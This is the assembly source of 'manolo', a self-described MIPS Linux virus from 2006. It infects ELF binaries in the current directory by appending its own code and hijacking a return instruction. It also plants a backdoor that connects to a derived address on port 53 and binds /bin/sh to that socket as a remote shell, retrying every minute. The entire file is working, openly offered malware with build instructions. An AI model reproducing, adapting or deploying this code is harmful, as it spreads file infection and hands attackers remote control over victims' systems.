#==============================================================================
#
#  manolo v1.0 (MAgic mips elf iNfectOr with invisibLe backdoOr)  by kenshin
#
#  First virus in mips assembler that infects linux elfs
#
#  Barcelona powa! 2006-11-27
#
#  $ mipsel-linux-gcc -o manolo manolo.S
#
#==============================================================================


#include "regdef.h"		// /usr/src/linux/include/asm-mips/regdef.h
#include "unistd.h"		// /usr/src/linux/include/asm-mips/unistd.h

#==============================================================================

	.text
	.globl	main
		
main:
		li	t0, -1
		bltzal	t0, .dummy		# if t0 < 0 branch
	.dummy:					# with $ra stored
		
infector:
		move	s6, ra			# save infector address
		
		li	v0, __NR_fork
		syscall
		
		bne	v0, 0, end
		addi	sp, sp, -512
		
		li	a1, 0			# O_RDONLY
		li	a0, %lo(pwd-infector)
		add	a0, s6
		li	v0, __NR_open
		syscall
		
		li	a2, 512
		la	a1, 0(sp)
		move	a0, v0
		li	v0, __NR_getdents
		syscall
		
		move	s4, v0
		li	s7, 0
		
	.readfilename:
		add	t6, sp, s7
		
		lh	a1, 8(t6)
		add	s7, s7, a1
		la	a1, 400(sp)
		la	a0, 10(t6)
		
		li	v0, __NR_stat
		syscall
		
		lw	s1, 48(a1)		# save file size
		
# check if guest file is multiple of 17
		div	a2, s1, 17
		mul	a3, a2, 17
		beq	s1, a3, .next
		
# calculate mark size
		li	s2, %lo(niam-main)
		add	s2, s1
		div	a2, s2, 17
		mul	a3, a2, 17
		
		sub	s5, s2, a3
		li	a1, 17
		sub	s5, a1, s5
		
		li	a1, 2			# O_RDWR
		li	v0, __NR_open
		syscall
		
		beq	a3, 1, .next
		move	s3, v0
		
		li	a2, 0
		sw	a2, 20(sp)
		sw	s3, 16(sp)
		li	a3, 1			# MAP_SHARED
		li	a2, 1|2			# PROT_READ|PROT_WRITE
		move	a1, s1
		li	a0, 0
		li	v0, __NR_mmap
		syscall
		
		beq	a3, 1, .close
		
		move	s2, v0
		lw	a1, (s2)
		bne	a1, 0x464c457f, .munmap	# MAGICELF = 0x7f454c46
		
# search PT_LOAD type & RE flags section in PH
		add	a0, s2, 52		# sizeof(Elf32_Ehdr)
	.ph:
		add	a0, 32			# next ph element
		lw	a1, (a0)
		bne	a1, 1, .ph		# PT_LOAD
		
		lw	a1, 24(a0)
		bne	a1, 5, .munmap		# PF_X|PF_R = (1<<0)|(1<<2)
		
# increase addresses with virus size
		li	a2, %lo(niam-main)
		add	a2, s1
		sw	a2, 16(a0)		# ph.p_filesz
		sw	a2, 20(a0)		# ph.p_memsz
		
		li	a2, 2			# SEEK_END
		li	a1, 0
		move	a0, s3
		li	v0, __NR_lseek
		syscall
		
		li	a2, %lo(niam-main)
		li	a1, %lo(infector-main)
		sub	a1, s6, a1
		li	v0, __NR_write
		syscall
		
epo:
		add	a1, s2, s1
		div	a1, 4
		mul	a1, 4
	.jrra:
		sub	a1, 4
		lw	a0, (a1)
		bne	a0, 0x03e00008 , .jrra	# jr	ra
	 	
		sub	a0, a1, s2
		sub	a0, s1, a0
		div	a0, 4
		bgt	a0, 0xffff, .close
		add	a0, 0x10000000
		sw	a0, (a1)
		
infection_mark:
		move	a2, s5
		move	a1, sp
		move	a0, s3
		li	v0, __NR_write
		syscall
		
	.munmap:
		move	a1, s1
		move	a0, s2
		li	v0, __NR_munmap
		syscall
		
	.close:
		move	a0, s3
		li	v0, __NR_close
		syscall
		
	.next:
		blt	s7, s4, .readfilename

#------------------------------------------------------------------------------

backdoor:
		
	.tryconnect:
		li	a0, 2			# PF_INET & SOCK_DGRAM
		sw	a0, (sp)
		sw	a0, 4(sp)
		li	a2, 0
		sw	a2, 8(sp)
		move	a1, sp
		li	a0, 1			# SOCKET
		li	v0, __NR_socketcall
		syscall
		
		sw	v0, (sp)
		move	t9, v0
		
		li	a1, 32*16		# sizeof(struct ifreq) * numreqs
		sw	a1, (sp)
		add	a2, sp, 8
		sw	a2, 4(sp)
		
		move	a2, sp
		li	a1, 0x8912		# SIOCGIFCONF
		move	a0, v0
		li	v0, __NR_ioctl
		syscall
		
		lw	s0, (sp)
		li	s1, 0
		move	s8, sp
		
	.interfaces:
		lw	a3, 8(s8)
		sw	a3, 100(sp)
		lw	a3, 12(s8)
		sw	a3, 104(sp)
		lw	a3, 16(s8)
		sw	a3, 108(sp)
		lw	a3, 20(s8)
		sw	a3, 112(sp)
		
		la	a2, 100(sp)
		li	a1, 0x8919		# SIOCGIFBRDADDR
		li	v0, __NR_ioctl
		syscall
		
# change byte 0xff in ip
		lw	t2, 120(sp)
		li	t2, 0
		li	t3, 0
		li	t4, 0
		la	t3, 120(sp)
		
	.checkbyte:
		li	t1, 0
		lb	t1, (t3)
		and	t1, t1, 0x000000ff
		add	t4, t4, 1
		bne	t1, 0xff, .changebyte
		li	t2, 120			# new byte
		sb	t2, (t3)
		
	.changebyte:
		add	t3, t3, 1
		bne	t4, 4, .checkbyte
		beq	t2, 0, .notiface
		
		lw	a0, 120(sp)		# IP
		li	a1, 0x3500		# PORT = 53
		li	a2, 2
		li	a3, 16
		
		sw	a0, 16(sp)
		sh	a1, 14(sp)
		sh	a2, 12(sp)
		sw	a3, 8(sp)
		la      a0, 12(sp)
		sw      a0, 4(sp)
		sw      t9, (sp)
		
		move	a1, sp
		li	a0, 3			# CONNECT
		li	v0, __NR_socketcall
		syscall
		
		bne	v0, 0, .notiface
		li	a2, %lo(sh-sign)
		li	a1, %lo(sign-infector)
		add	a1, s6
		li	a0, 1
		li	v0, __NR_write
		syscall
		
		li	v0, __NR_fork
		syscall
		
		bne	v0, 0, .notiface
		
		li	a1, 0
		move	a0, t9
		
	.makedup:
		li	v0, __NR_dup2
		syscall
		
		addi	a1, a1, 1
		blt	a1, 3, .makedup
		
		li	a0, %lo(sh-infector)
		add	a0, s6
		sw	a0, 8(sp)
		li	a1, 0
		sw	a1, 12(sp)
		la	a2, 12(sp)
		la	a1, 8(sp)
		
		li	v0, __NR_execve
		syscall
		
	.notiface:
		addi	s1, s1, 32
		addi	s8, s8, 32
		blt	s1, s0, .interfaces
		
		li	a0, 60			# seconds & nanoseconds
		sw	a0, 380(sp)
		sw	a0, 384(sp)
		li	a1, 0
		la	a0, 380(sp)
		li	v0, __NR_nanosleep
		syscall
		
		move	a0, t9
		li	v0, __NR_close
		syscall
		
		b	.tryconnect
		
end:		
		li	v0, __NR_exit
		syscall

#==============================================================================

sign:	.asciz	"manolo v1.0  by kenshin  [ http://www.badchecksum.net ]\n"
sh:	.asciz	"/bin/sh"
pwd:	.asciz	"."

niam:


